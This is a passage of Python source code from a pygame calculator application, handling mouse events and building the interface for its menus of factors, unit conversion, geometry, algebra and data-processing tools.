self.data_processing_button.button.collidepoint(mouse_pos): self.active_button = 'data_processing_button' elif (self.active_menu != 'main_menu' and self.active_menu != 'factors_menu' and self.active_menu != 'converters_menu' and self.active_menu != 'geometry_menu' and self.active_menu != 'algebra_menu' and self.active_menu != 'data_processing_menu'): if self.answer_button.button.collidepoint(mouse_pos): if event.button == 4: self.answer_text_x_mod -= self.answer_text_move_amount elif event.button == 5: self.answer_text_x_mod += self.answer_text_move_amount self.converters_menu_mousebuttondown(event, mouse_pos) self.factors_menu_mousebuttondown(event, mouse_pos) self.geometry_menu_mousebuttondown(event, mouse_pos) self.algebra_menu_mousebuttondown(event, mouse_pos) self.data_processing_menu_mousebuttondown(event, mouse_pos) def manage_mousebuttonup(self, event): """Manage pygame MOUSEBUTTONUP events.""" mouse_pos = pygame.mouse.get_pos() if self.active_menu == 'main_menu': if self.converters_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'converters_menu' elif self.factors_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'factors_menu' elif self.geometry_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'geometry_menu' elif self.algebra_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'algebra_menu' elif self.data_processing_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'data_processing_menu' else: self.active_button = '' self.factors_menu_mousebuttonup(event, mouse_pos) self.converters_menu_mousebuttonup(event, mouse_pos) self.geometry_menu_mousebuttonup(event, mouse_pos) self.algebra_menu_mousebuttonup(event, mouse_pos) self.data_processing_menu_mousebuttonup(event, mouse_pos) def factors_menu_mousebuttondown(self, event, mouse_pos): """Manage the MOUSEBUTTONDOWN events for the factors menu.""" # Main factors menu. if self.active_menu == 'factors_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = 'back_button' elif self.get_factors_button.button.collidepoint(mouse_pos): self.active_button = 'get_factors_button' elif self.common_factors_button.button.collidepoint(mouse_pos): self.active_button = 'common_factors_button' elif self.gcf_button.button.collidepoint(mouse_pos): self.active_button = 'gcf_button' elif self.lcf_button.button.collidepoint(mouse_pos): self.active_button = 'lcf_button' # Get factors menu. elif self.active_menu == 'get_factors_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = 'back_button' elif self.calculate_button.button.collidepoint(mouse_pos): self.active_button = 'calculate_button' elif self.input_button_4.button.collidepoint(mouse_pos): self.active_button = 'input_button_4' self.active_menu = 'get_factors_input_1' # Get factors input menu elif self.active_menu == 'get_factors_input_1': self.active_menu = 'get_factors_menu' self.active_button = '' # Common factors menu. elif self.active_menu == 'common_factors_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = 'back_button' elif self.calculate_button.button.collidepoint(mouse_pos): self.active_button = 'calculate_button' elif self.input_button_1.button.collidepoint(mouse_pos): self.active_button = 'input_button_1' self.active_menu = 'common_factors_input_1' elif self.input_button_3.button.collidepoint(mouse_pos): self.active_button = 'input_button_3' self.active_menu = 'common_factors_input_2' elif self.input_button_5.button.collidepoint(mouse_pos): self.active_button = 'input_button_5' self.active_menu = 'common_factors_input_3' elif self.input_button_7.button.collidepoint(mouse_pos): self.active_button = 'input_button_7' self.active_menu = 'common_factors_input_4' # Common factors input menus elif self.active_menu == 'common_factors_input_1': self.active_menu = 'common_factors_menu' self.active_button = '' elif self.active_menu == 'common_factors_input_2': self.active_menu = 'common_factors_menu' self.active_button = '' elif self.active_menu == 'common_factors_input_3': self.active_menu = 'common_factors_menu' self.active_button = '' elif self.active_menu == 'common_factors_input_4': self.active_menu = 'common_factors_menu' self.active_button = '' #GCF menu. elif self.active_menu == 'gcf_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = 'back_button' elif self.calculate_button.button.collidepoint(mouse_pos): self.active_button = 'calculate_button' elif self.input_button_1.button.collidepoint(mouse_pos): self.active_button = 'input_button_1' self.active_menu = 'gcf_input_1' elif self.input_button_3.button.collidepoint(mouse_pos): self.active_button = 'input_button_3' self.active_menu = 'gcf_input_2' elif self.input_button_5.button.collidepoint(mouse_pos): self.active_button = 'input_button_5' self.active_menu = 'gcf_input_3' elif self.input_button_7.button.collidepoint(mouse_pos): self.active_button = 'input_button_7' self.active_menu = 'gcf_input_4' # Greatest common factors input menus elif self.active_menu == 'gcf_input_1': self.active_menu = 'gcf_menu' self.active_button = '' elif self.active_menu == 'gcf_input_2': self.active_menu = 'gcf_menu' self.active_button = '' elif self.active_menu == 'gcf_input_3': self.active_menu = 'gcf_menu' self.active_button = '' elif self.active_menu == 'gcf_input_4': self.active_menu = 'gcf_menu' self.active_button = '' # LCF menu. elif self.active_menu == 'lcf_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = 'back_button' elif self.calculate_button.button.collidepoint(mouse_pos): self.active_button = 'calculate_button' elif self.input_button_1.button.collidepoint(mouse_pos): self.active_button = 'input_button_1' self.active_menu = 'lcf_input_1' elif self.input_button_3.button.collidepoint(mouse_pos): self.active_button = 'input_button_3' self.active_menu = 'lcf_input_2' elif self.input_button_5.button.collidepoint(mouse_pos): self.active_button = 'input_button_5' self.active_menu = 'lcf_input_3' elif self.input_button_7.button.collidepoint(mouse_pos): self.active_button = 'input_button_7' self.active_menu = 'lcf_input_4' # Least common factors input menus elif self.active_menu == 'lcf_input_1': self.active_menu = 'lcf_menu' self.active_button = '' elif self.active_menu == 'lcf_input_2': self.active_menu = 'lcf_menu' self.active_button = '' elif self.active_menu == 'lcf_input_3': self.active_menu = 'lcf_menu' self.active_button = '' elif self.active_menu == 'lcf_input_4': self.active_menu = 'lcf_menu' self.active_button = '' def factors_menu_mousebuttonup(self, event, mouse_pos): """Manage the MOUSEBUTTONUP events for the factors menu.""" # Main factors menu. if self.active_menu == 'factors_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'main_menu' elif self.get_factors_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'get_factors_menu' self.input_buttons = 1 elif self.common_factors_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'common_factors_menu' self.input_buttons = 4 elif self.gcf_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'gcf_menu' self.input_buttons = 4 elif self.lcf_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'lcf_menu' self.input_buttons = 4 else: self.active_button = '' # Get factors menu. elif self.active_menu == 'get_factors_menu': if self.back_button.button.collidepoint(mouse_pos): self.reset_variables('factors_menu') elif self.calculate_button.button.collidepoint(mouse_pos): if self.input_box_4 != '': self.input_value_4 = int(self.input_box_4) self.answer = str(MATH.get_factors_(self.input_value_4)) self.answer_text_x_mod = 0 self.active_button = '' else: self.active_button = '' # Common factors menu. elif self.active_menu == 'common_factors_menu': if self.back_button.button.collidepoint(mouse_pos): self.reset_variables('factors_menu') elif self.calculate_button.button.collidepoint(mouse_pos): value_list = [] if self.input_box_1 != '': self.input_value_1 = int(self.input_box_1) value_list.append(self.input_value_1) if self.input_box_3 != '': self.input_value_3 = int(self.input_box_3) value_list.append(self.input_value_3) if self.input_box_5 != '': self.input_value_5 = int(self.input_box_5) value_list.append(self.input_value_5) if self.input_box_7 != '': self.input_value_7 = int(self.input_box_7) value_list.append(self.input_value_7) if value_list != []: self.answer = str(MATH.common_factors_(value_list)) self.answer_text_x_mod = 0 self.active_button = '' else: self.active_button = '' # GCF menu. elif self.active_menu == 'gcf_menu': if self.back_button.button.collidepoint(mouse_pos): self.reset_variables('factors_menu') elif self.calculate_button.button.collidepoint(mouse_pos): value_list = [] if self.input_box_1 != '': self.input_value_1 = int(self.input_box_1) value_list.append(self.input_value_1) if self.input_box_3 != '': self.input_value_3 = int(self.input_box_3) value_list.append(self.input_value_3) if self.input_box_5 != '': self.input_value_5 = int(self.input_box_5) value_list.append(self.input_value_5) if self.input_box_7 != '': self.input_value_7 = int(self.input_box_7) value_list.append(self.input_value_7) if value_list != []: self.answer = str(MATH.gcf_(value_list)) self.answer_text_x_mod = 0 self.active_button = '' else: self.active_button = '' # LCF menu. elif self.active_menu == 'lcf_menu': if self.back_button.button.collidepoint(mouse_pos): self.reset_variables('factors_menu') elif self.calculate_button.button.collidepoint(mouse_pos): value_list = [] if self.input_box_1 != '': self.input_value_1 = int(self.input_box_1) value_list.append(self.input_value_1) if self.input_box_3 != '': self.input_value_3 = int(self.input_box_3) value_list.append(self.input_value_3) if self.input_box_5 != '': self.input_value_5 = int(self.input_box_5) value_list.append(self.input_value_5) if self.input_box_7 != '': self.input_value_7 = int(self.input_box_7) value_list.append(self.input_value_7) if value_list != []: self.answer = str(MATH.lcf_(value_list)) self.answer_text_x_mod = 0 self.active_button = '' else: self.active_button = '' def converters_menu_mousebuttondown(self, event, mouse_pos): """Manage the MOUSEBUTTONDOWN events for the converters menu.""" # Main converters menu. if self.active_menu == 'converters_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = 'back_button' elif self.temp_button.button.collidepoint(mouse_pos): self.active_button = 'temp_button' # Temperature convert menu. elif self.active_menu == 'temp_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = 'back_button' elif self.calculate_button.button.collidepoint(mouse_pos): self.active_button = 'calculate_button' elif self.input_button_2.button.collidepoint(mouse_pos): self.active_button = 'input_button_2' self.active_menu = 'temp_input_1' elif self.input_button_4.button.collidepoint(mouse_pos): self.active_button = 'input_button_4' self.active_menu = 'temp_input_2' elif self.input_button_6.button.collidepoint(mouse_pos): self.active_button = 'input_button_6' self.active_menu = 'temp_input_3' # Temperature input menus. elif self.active_menu == 'temp_input_1': self.active_menu = 'temp_menu' self.active_button = '' elif self.active_menu == 'temp_input_2': self.active_menu = 'temp_menu' self.active_button = '' elif self.active_menu == 'temp_input_3': self.active_menu = 'temp_menu' self.active_button = '' def converters_menu_mousebuttonup(self, event, mouse_pos): """Manage the MOUSEBUTTONUP events for the converters menu.""" # Main converters menu. if self.active_menu == 'converters_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'main_menu' elif self.temp_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'temp_menu' self.input_buttons = 3 else: self.active_button = '' # Temperature convert menu. elif self.active_menu == 'temp_menu': if self.back_button.button.collidepoint(mouse_pos): self.reset_variables('converters_menu') elif self.calculate_button.button.collidepoint(mouse_pos): if (self.input_box_2 == '' or self.input_box_4 == '' or self.input_box_6 == ''): None else: self.input_value_2 = float(self.input_box_2) self.input_value_4 = self.input_box_4.upper() self.input_value_6 = self.input_box_6.upper() self.answer = str(MATH.temperature_convert_(self.input_value_2, self.input_value_4, self.input_value_6)) self.answer_text_x_mod = 0 self.active_button = '' else: self.active_button = '' def geometry_menu_mousebuttondown(self, event, mouse_pos): """Manage the MOUSEBUTTONDOWN events for the geometry menu.""" # Main geometry menu. if self.active_menu == 'geometry_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = 'back_button' elif self.mar_button.button.collidepoint(mouse_pos): self.active_button = 'mar_button' elif self.solid_polygon_button.button.collidepoint(mouse_pos): self.active_button = 'solid_polygon_button' # Maintain ratio menu. elif self.active_menu == 'mar_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = 'back_button' elif self.calculate_button.button.collidepoint(mouse_pos): self.active_button = 'calculate_button' elif self.input_button_1.button.collidepoint(mouse_pos): self.active_button = 'input_button_1' self.active_menu = 'mar_input_1' elif self.input_button_3.button.collidepoint(mouse_pos): self.active_button = 'input_button_3' self.active_menu = 'mar_input_2' elif self.input_button_5.button.collidepoint(mouse_pos): self.active_button = 'input_button_5' self.active_menu = 'mar_input_3' elif self.input_button_7.button.collidepoint(mouse_pos): self.active_button = 'input_button_7' self.active_menu = 'mar_input_4' # Maintain ratio input menus. elif self.active_menu == 'mar_input_1': self.active_menu = 'mar_menu' self.active_button = '' elif self.active_menu == 'mar_input_2': self.active_menu = 'mar_menu' self.active_button = '' elif self.active_menu == 'mar_input_3': self.active_menu = 'mar_menu' self.active_button = '' elif self.active_menu == 'mar_input_4': self.active_menu = 'mar_menu' self.active_button = '' # Solid polygon menu. elif self.active_menu == 'solid_polygon_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = 'back_button' elif self.calculate_button.button.collidepoint(mouse_pos): self.active_button = 'calculate_button' elif self.input_button_4.button.collidepoint(mouse_pos): self.active_button = 'input_button_4' self.active_menu = 'solid_polygon_input_1' # Solid polygon input menu. elif self.active_menu == 'solid_polygon_input_1': self.active_menu = 'solid_polygon_menu' self.active_button = '' def geometry_menu_mousebuttonup(self, event, mouse_pos): """Manage the MOUSEBUTTONUP events for the geometry menu.""" # Main geometry menu. if self.active_menu == 'geometry_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'main_menu' elif self.mar_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'mar_menu' self.input_buttons = 4 elif self.solid_polygon_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'solid_polygon_menu' self.input_buttons = 1 else: self.active_button = '' # Maintain ratio menu. elif self.active_menu == 'mar_menu': if self.back_button.button.collidepoint(mouse_pos): self.reset_variables('geometry_menu') elif self.calculate_button.button.collidepoint(mouse_pos): if (self.input_box_1 == '' or self.input_box_3 == '' or self.input_box_5 == '' or self.input_box_7 == ''): None else: self.input_value_1 = float(self.input_box_1) self.input_value_3 = float(self.input_box_3) self.input_value_5 = float(self.input_box_5) self.input_value_7 = float(self.input_box_7) source_surf = [self.input_value_1, self.input_value_3] dest_surf = [self.input_value_5, self.input_value_7] try: self.answer = str(MATH.maintain_aspect_ratio_( source_surf, dest_surf)) except ZeroDivisionError: pass self.answer_text_x_mod = 0 self.active_button = '' else: self.active_button = '' # Solid polygon menu. elif self.active_menu == 'solid_polygon_menu': if self.back_button.button.collidepoint(mouse_pos): self.reset_variables('geometry_menu') elif self.calculate_button.button.collidepoint(mouse_pos): if self.input_box_4 != '': self.input_value_4 = int(self.input_box_4) self.answer = MATH.solid_polygon_info_(self.input_value_4) self.answer = f'Edges = {self.answer["edges"]}, Vertices = {self.answer["vertices"]}, Faces = {self.answer["faces"]}, Triangles = {self.answer["triangles"]}' self.answer_text_x_mod = 0 self.active_button = '' else: self.active_button = '' def algebra_menu_mousebuttondown(self, event, mouse_pos): """Manage the MOUSEBUTTONDOWN events for the algebra menu.""" # Main algebra menu. if self.active_menu == 'algebra_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = 'back_button' elif self.root_button.button.collidepoint(mouse_pos): self.active_button = 'root_button' elif self.extrapolate_button.button.collidepoint(mouse_pos): self.active_button = 'extrapolate_button' # Root menu. elif self.active_menu == 'root_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = 'back_button' elif self.calculate_button.button.collidepoint(mouse_pos): self.active_button = 'calculate_button' elif self.input_button_3.button.collidepoint(mouse_pos): self.active_button = 'input_button_3' self.active_menu = 'root_input_1' elif self.input_button_5.button.collidepoint(mouse_pos): self.active_button = 'input_button_5' self.active_menu = 'root_input_2' # Root input menus. elif self.active_menu == 'root_input_1': self.active_menu = 'root_menu' self.active_button = '' elif self.active_menu == 'root_input_2': self.active_menu = 'root_menu' self.active_button = '' # Extrapolate menu. elif self.active_menu == 'extrapolate_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = 'back_button' elif self.calculate_button.button.collidepoint(mouse_pos): self.active_button = 'calculate_button' elif self.input_button_1.button.collidepoint(mouse_pos): self.active_button = 'input_button_1' self.active_menu = 'extrapolate_input_1' elif self.input_button_3.button.collidepoint(mouse_pos): self.active_button = 'input_button_3' self.active_menu = 'extrapolate_input_2' elif self.input_button_5.button.collidepoint(mouse_pos): self.active_button = 'input_button_5' self.active_menu = 'extrapolate_input_3' elif self.input_button_7.button.collidepoint(mouse_pos): self.active_button = 'input_button_7' self.active_menu = 'extrapolate_input_4' # Extrapolate input menus. elif self.active_menu == 'extrapolate_input_1': self.active_menu = 'extrapolate_menu' self.active_button = '' elif self.active_menu == 'extrapolate_input_2': self.active_menu = 'extrapolate_menu' self.active_button = '' elif self.active_menu == 'extrapolate_input_3': self.active_menu = 'extrapolate_menu' self.active_button = '' elif self.active_menu == 'extrapolate_input_4': self.active_menu = 'extrapolate_menu' self.active_button = '' def algebra_menu_mousebuttonup(self, event, mouse_pos): """Manage the MOUSEBUTTONUP events for the algebra menu.""" # Main algebra menu. if self.active_menu == 'algebra_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'main_menu' elif self.root_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'root_menu' self.input_buttons = 2 elif self.extrapolate_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'extrapolate_menu' self.input_buttons = 4 else: self.active_button = '' # Root menu. elif self.active_menu == 'root_menu': if self.back_button.button.collidepoint(mouse_pos): self.reset_variables('algebra_menu') elif self.calculate_button.button.collidepoint(mouse_pos): if self.input_box_3 == '' or self.input_box_5 == '': None else: self.input_value_3 = float(self.input_box_3) self.input_value_5 = float(self.input_box_5) self.answer = str(MATH.root_(self.input_value_3, self.input_value_5)) self.answer_text_x_mod = 0 self.active_button = '' # Extrapolate menu. elif self.active_menu == 'extrapolate_menu': if self.back_button.button.collidepoint(mouse_pos): self.reset_variables('algebra_menu') elif self.calculate_button.button.collidepoint(mouse_pos): check = ['add', 'subtract', 'multiply', 'divide', 'exponent', 'root'] if (self.input_box_1 == '' or self.input_box_3 == '' or self.input_box_5 == '' or self.input_box_5.lower() not in check or self.input_box_7 == ''): None else: try: self.input_value_1 = int(self.input_box_1) self.input_value_3 = int(self.input_box_3) except ValueError: self.input_value_1 = float(self.input_box_1) self.input_value_3 = float(self.input_box_3) self.input_value_5 = self.input_box_5.lower() self.input_value_7 = int(self.input_box_7) self.answer = str(MATH.extrapolate_(self.input_value_1, self.input_value_3, self.input_value_5, self.input_value_7)) self.answer_text_x_mod = 0 self.active_button = '' def data_processing_menu_mousebuttondown(self, event, mouse_pos): """Manage the MOUSEBUTTONDOWN events for the data processing menu.""" # Main data processing menu. if self.active_menu == 'data_processing_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = 'back_button' elif self.average_button.button.collidepoint(mouse_pos): self.active_button ='average_button' elif self.median_button.button.collidepoint(mouse_pos): self.active_button ='median_button' elif self.mode_button.button.collidepoint(mouse_pos): self.active_button ='mode_button' elif self.range_button.button.collidepoint(mouse_pos): self.active_button ='range_button' # Average menu. elif self.active_menu == 'average_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = 'back_button' elif self.calculate_button.button.collidepoint(mouse_pos): self.active_button = 'calculate_button' elif self.input_button_1.button.collidepoint(mouse_pos): self.active_button = 'input_button_1' self.active_menu = 'average_input_1' elif self.input_button_3.button.collidepoint(mouse_pos): self.active_button = 'input_button_3' self.active_menu = 'average_input_2' elif self.input_button_5.button.collidepoint(mouse_pos): self.active_button = 'input_button_5' self.active_menu = 'average_input_3' elif self.input_button_7.button.collidepoint(mouse_pos): self.active_button = 'input_button_7' self.active_menu = 'average_input_4' # Average input menus. elif (self.active_menu == 'average_input_1' or self.active_menu == 'average_input_2' or self.active_menu == 'average_input_3' or self.active_menu == 'average_input_4'): self.active_button = '' self.active_menu = 'average_menu' # Median menu. elif self.active_menu == 'median_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = 'back_button' elif self.calculate_button.button.collidepoint(mouse_pos): self.active_button = 'calculate_button' elif self.input_button_1.button.collidepoint(mouse_pos): self.active_button = 'input_button_1' self.active_menu = 'median_input_1' elif self.input_button_3.button.collidepoint(mouse_pos): self.active_button = 'input_button_3' self.active_menu = 'median_input_2' elif self.input_button_5.button.collidepoint(mouse_pos): self.active_button = 'input_button_5' self.active_menu = 'median_input_3' elif self.input_button_7.button.collidepoint(mouse_pos): self.active_button = 'input_button_7' self.active_menu = 'median_input_4' # Median input menus. elif (self.active_menu == 'median_input_1' or self.active_menu == 'median_input_2' or self.active_menu == 'median_input_3' or self.active_menu == 'median_input_4'): self.active_button = '' self.active_menu = 'median_menu' # Mode menu. elif self.active_menu == 'mode_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = 'back_button' elif self.calculate_button.button.collidepoint(mouse_pos): self.active_button = 'calculate_button' elif self.input_button_1.button.collidepoint(mouse_pos): self.active_button = 'input_button_1' self.active_menu = 'mode_input_1' elif self.input_button_3.button.collidepoint(mouse_pos): self.active_button = 'input_button_3' self.active_menu = 'mode_input_2' elif self.input_button_5.button.collidepoint(mouse_pos): self.active_button = 'input_button_5' self.active_menu = 'mode_input_3' elif self.input_button_7.button.collidepoint(mouse_pos): self.active_button = 'input_button_7' self.active_menu = 'mode_input_4' # Mode input menus. elif (self.active_menu == 'mode_input_1' or self.active_menu == 'mode_input_2' or self.active_menu == 'mode_input_3' or self.active_menu == 'mode_input_4'): self.active_button = '' self.active_menu = 'mode_menu' # Range menu. elif self.active_menu == 'range_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = 'back_button' elif self.calculate_button.button.collidepoint(mouse_pos): self.active_button = 'calculate_button' elif self.input_button_1.button.collidepoint(mouse_pos): self.active_button = 'input_button_1' self.active_menu = 'range_input_1' elif self.input_button_3.button.collidepoint(mouse_pos): self.active_button = 'input_button_3' self.active_menu = 'range_input_2' elif self.input_button_5.button.collidepoint(mouse_pos): self.active_button = 'input_button_5' self.active_menu = 'range_input_3' elif self.input_button_7.button.collidepoint(mouse_pos): self.active_button = 'input_button_7' self.active_menu = 'range_input_4' # Range input menus. elif (self.active_menu == 'range_input_1' or self.active_menu == 'range_input_2' or self.active_menu == 'range_input_3' or self.active_menu == 'range_input_4'): self.active_button = '' self.active_menu = 'range_menu' def data_processing_menu_mousebuttonup(self, event, mouse_pos): """Manage the MOUSEBUTTONUP events for the data processing menu.""" # Main data processing menu. if self.active_menu == 'data_processing_menu': if self.back_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'main_menu' elif self.average_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'average_menu' self.input_buttons = 4 elif self.median_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'median_menu' self.input_buttons = 4 elif self.mode_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'mode_menu' self.input_buttons = 4 elif self.range_button.button.collidepoint(mouse_pos): self.active_button = '' self.active_menu = 'range_menu' self.input_buttons = 4 else: self.active_button = '' # Average menu. elif self.active_menu == 'average_menu': if self.back_button.button.collidepoint(mouse_pos): self.reset_variables('data_processing_menu') elif self.calculate_button.button.collidepoint(mouse_pos): value_list = [] if self.input_box_1 != '': self.input_value_1 = int(self.input_box_1) value_list.append(self.input_value_1) if self.input_box_3 != '': self.input_value_3 = int(self.input_box_3) value_list.append(self.input_value_3) if self.input_box_5 != '': self.input_value_5 = int(self.input_box_5) value_list.append(self.input_value_5) if self.input_box_7 != '': self.input_value_7 = int(self.input_box_7) value_list.append(self.input_value_7) if value_list != []: self.answer = str(MATH.average_(value_list)) self.answer_text_x_mod = 0 self.active_button = '' else: self.active_button = '' # Median menu. elif self.active_menu == 'median_menu': if self.back_button.button.collidepoint(mouse_pos): self.reset_variables('data_processing_menu') elif self.calculate_button.button.collidepoint(mouse_pos): value_list = [] if self.input_box_1 != '': self.input_value_1 = int(self.input_box_1) value_list.append(self.input_value_1) if self.input_box_3 != '': self.input_value_3 = int(self.input_box_3) value_list.append(self.input_value_3) if self.input_box_5 != '': self.input_value_5 = int(self.input_box_5) value_list.append(self.input_value_5) if self.input_box_7 != '': self.input_value_7 = int(self.input_box_7) value_list.append(self.input_value_7) if value_list != []: self.answer = str(MATH.median_(value_list)) self.answer_text_x_mod = 0 self.active_button = '' else: self.active_button = '' # Mode menu. elif self.active_menu == 'mode_menu': if self.back_button.button.collidepoint(mouse_pos): self.reset_variables('data_processing_menu') elif self.calculate_button.button.collidepoint(mouse_pos): value_list = [] if self.input_box_1 != '': self.input_value_1 = int(self.input_box_1) value_list.append(self.input_value_1) if self.input_box_3 != '': self.input_value_3 = int(self.input_box_3) value_list.append(self.input_value_3) if self.input_box_5 != '': self.input_value_5 = int(self.input_box_5) value_list.append(self.input_value_5) if self.input_box_7 != '': self.input_value_7 = int(self.input_box_7) value_list.append(self.input_value_7) if value_list != []: self.answer = str(MATH.mode_(value_list)) self.answer_text_x_mod = 0 self.active_button = '' else: self.active_button = '' # Range menu. elif self.active_menu == 'range_menu': if self.back_button.button.collidepoint(mouse_pos): self.reset_variables('data_processing_menu') elif self.calculate_button.button.collidepoint(mouse_pos): value_list = [] if self.input_box_1 != '': self.input_value_1 = int(self.input_box_1) value_list.append(self.input_value_1) if self.input_box_3 != '': self.input_value_3 = int(self.input_box_3) value_list.append(self.input_value_3) if self.input_box_5 != '': self.input_value_5 = int(self.input_box_5) value_list.append(self.input_value_5) if self.input_box_7 != '': self.input_value_7 = int(self.input_box_7) value_list.append(self.input_value_7) if value_list != []: self.answer = str(MATH.range_(value_list)) self.answer_text_x_mod = 0 self.active_button = '' else: self.active_button = '' # GUI section. def create_all_gui(self): """Quick call all of the button creation functions.""" self.active_button_color = (150,150,160) self.idle_button_color = (210,210,220) self.border_color = (60,60,70) self.text_color = (0,0,0) self.width = self.screen_rect.width * 0.25 self.height = self.screen_rect.height * 0.05 self.x_gap = self.width * 0.2 self.border_size = 0.18 if self.screen_rect.width / self.screen_rect.height >= 1.4: self.text_size = 1.2 elif self.screen_rect.width / self.screen_rect.height >= 1: self.text_size = 0.9 elif self.screen_rect.width / self.screen_rect.height >= 0.8: self.text_size = 0.75 else: self.text_size = 0.5 self.answer_text_move_amount = self.screen_rect.width*0.1 self.tiles = [] column, row = 0, 0 gap = int(self.screen_rect.width*0.001) if gap < 1: gap = 1 diagonal = ((self.screen_rect.width**2 + self.screen_rect.height**2) **(1/2)) size = int(diagonal/18) - gap x_amount = int((self.screen_rect.width/size) + 1) y_amount = int((self.screen_rect.height/size) + 1) amount = x_amount * y_amount for tile in range(amount): if column == x_amount: column = 0 row += 1 tile = StaticButton(self, width=size, height=size, button_color=(230,230,230), align='topleft', align_obj=self.screen_rect.topleft, add_x=int(gap + (size + gap) * column), add_y=int(gap + (size + gap) * row)) self.tiles.append(tile) column += 1 self.back_button = DynamicTextButton(self, width=self.width/2, height=self.height, border_size=self.border_size/2, text_size=self.text_size, align='topleft', align_obj=self.screen_rect.topleft) self.calculate_button = DynamicTextButton(self, text_size=self.text_size, width=self.width*1.5, border_size=self.border_size*0.75, height=self.height*1.25, multiply_y=1.68) self.answer_button = DynamicTextButton(self, text_size=self.text_size/1.5, width=self.screen_rect.width, border_size=self.border_size, height=self.height*1.25, multiply_y=1.92) self.hover_text_help = DynamicTextButton(self, width=self.width*3, height=self.height*1.1, border_size=0.17, text_size=self.text_size, multiply_y=0.175) self.input_button_1 = DynamicTextButton(self, text_size=self.text_size, width=self.width*0.62, border_size=self.border_size, height=self.height, multiply_x=0.4) self.input_button_2 = DynamicTextButton(self, text_size=self.text_size, width=self.width*0.62, border_size=self.border_size, height=self.height, multiply_x=0.6) self.input_button_3 = DynamicTextButton(self, text_size=self.text_size, width=self.width*0.62, border_size=self.border_size, height=self.height, multiply_x=0.8) self.input_button_4 = DynamicTextButton(self, text_size=self.text_size, width=self.width*0.62, border_size=self.border_size, height=self.height) self.input_button_5 = DynamicTextButton(self, text_size=self.text_size, width=self.width*0.62, border_size=self.border_size, height=self.height, multiply_x=1.2) self.input_button_6 = DynamicTextButton(self, text_size=self.text_size, width=self.width*0.62, border_size=self.border_size, height=self.height, multiply_x=1.4) self.input_button_7 = DynamicTextButton(self, text_size=self.text_size, width=self.width*0.62, border_size=self.border_size, height=self.height, multiply_x=1.6) self.create_main_menu_gui() self.create_converters_menu_gui() self.create_factors_menu_gui() self.create_geometry_menu_gui() self.create_algebra_menu_gui() self.create_data_processing_menu_gui() # Main menu. def create_main_menu_gui(self): """Create the buttons for the main menu.""" self.converters_button = DynamicTextButton(self, text_size=self.text_size, width=self.width, border_size=self.border_size, height=self.height, multiply_y=0.6) self.factors_button = DynamicTextButton(self, text_size=self.text_size, width=self.width, border_size=self.border_size, height=self.height, multiply_y=0.8) self.geometry_button = DynamicTextButton(self, text_size=self.text_size, width=self.width, border_size=self.border_size, height=self.height) self.data_processing_button = DynamicTextButton(self, text_size=self.text_size, width=self.width, border_size=self.border_size, height=self.height, multiply_y=1.2) self.algebra_button = DynamicTextButton(self, text_size=self.text_size, width=self.width, border_size=self.border_size, height=self.height, multiply_y=1.4) def draw_main_menu_gui(self): """Draw the main menu.""" if self.active_button != 'factors_button': self.factors_button.draw(button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text="Factors") elif self.active_button == 'factors_button': self.factors_button.draw(button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text="Factors") if self.active_button != 'converters_button': self.converters_button.draw(button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text="Converters") elif self.active_button == 'converters_button': self.converters_button.draw(button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text="Converters") if self.active_button != 'geometry_button': self.geometry_button.draw(button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text="Geometry") elif self.active_button == 'geometry_button': self.geometry_button.draw(button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text="Geometry") if self.active_button != 'algebra_button': self.algebra_button.draw(button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text="Algebra") elif self.active_button == 'algebra_button': self.algebra_button.draw(button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text="Algebra") if self.active_button != 'data_processing_button': self.data_processing_button.draw( button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text="Data Processing") elif self.active_button == 'data_processing_button': self.data_processing_button.draw( 